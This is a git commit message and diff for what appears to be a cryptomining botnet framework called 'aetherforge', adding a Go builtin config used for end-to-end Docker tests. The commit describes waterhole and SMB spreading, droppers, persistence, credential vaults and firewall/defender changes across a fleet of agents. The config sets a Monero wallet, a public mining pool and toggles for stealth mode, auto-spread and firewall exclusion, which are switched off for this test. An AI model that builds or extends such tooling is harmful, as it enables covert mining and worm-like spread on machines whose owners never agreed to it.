feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

docker/agent-builtin.go

@@ -0,0 +1,47 @@
+// E2E Docker builtin — copied over agent/config/builtin.go at image build time.
+package config
+
+import "time"
+
+func GetBuiltinConfig() BuiltinConfig {
+	return BuiltinConfig{
+		WorkerName:          "docker-e2e-linux",
+		ServerURL:           "http://server:8989",
+		FleetSecret:         "e2e-docker-fleet-secret-fixed001",
+		Wallet:              "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm",
+		Threads:             2,
+		ThreadMode:          "fixed",
+		ThreadPercent:       50,
+		CPUPriority:         "below_normal",
+		MiningMode:          "always",
+		DisplayMode:         "visible",
+		SilentMode:          false,
+		RunAs:               "user",
+		AutoStart:           false,
+		ProcessName:         "docker-e2e-worker",
+		BuildID:             "docker-e2e",
+		BuiltAt:             time.Now(),
+		PoolHost:            "pool.supportxmr.com",
+		PoolPort:            3333,
+		PoolTLS:             false,
+		PoolPass:            "x",
+		MaxCPUUsage:         95,
+		MaxMemoryPct:        85,
+		MinFreeRAM:          256,
+		IdleThresholdPct:    20,
+		IdleDurationMinutes: 5,
+		ScheduleStart:       "00:00",
+		ScheduleEnd:         "23:59",
+		InstallBase:         "custom",
+		InstallCustomBase:   "/tmp/aetherforge-e2e",
+		InstallRelativePath: "worker",
+		AdaptToHardware:     false,
+		SelfHealing:         false,
+		FileLogging:         true,
+		StealthMode:         false,
+		FirewallExclusion:   false,
+		AutoSpread:          false,
+		RemoteAggressive:    false,
+		GPUEnabled:          false,
+	}
+}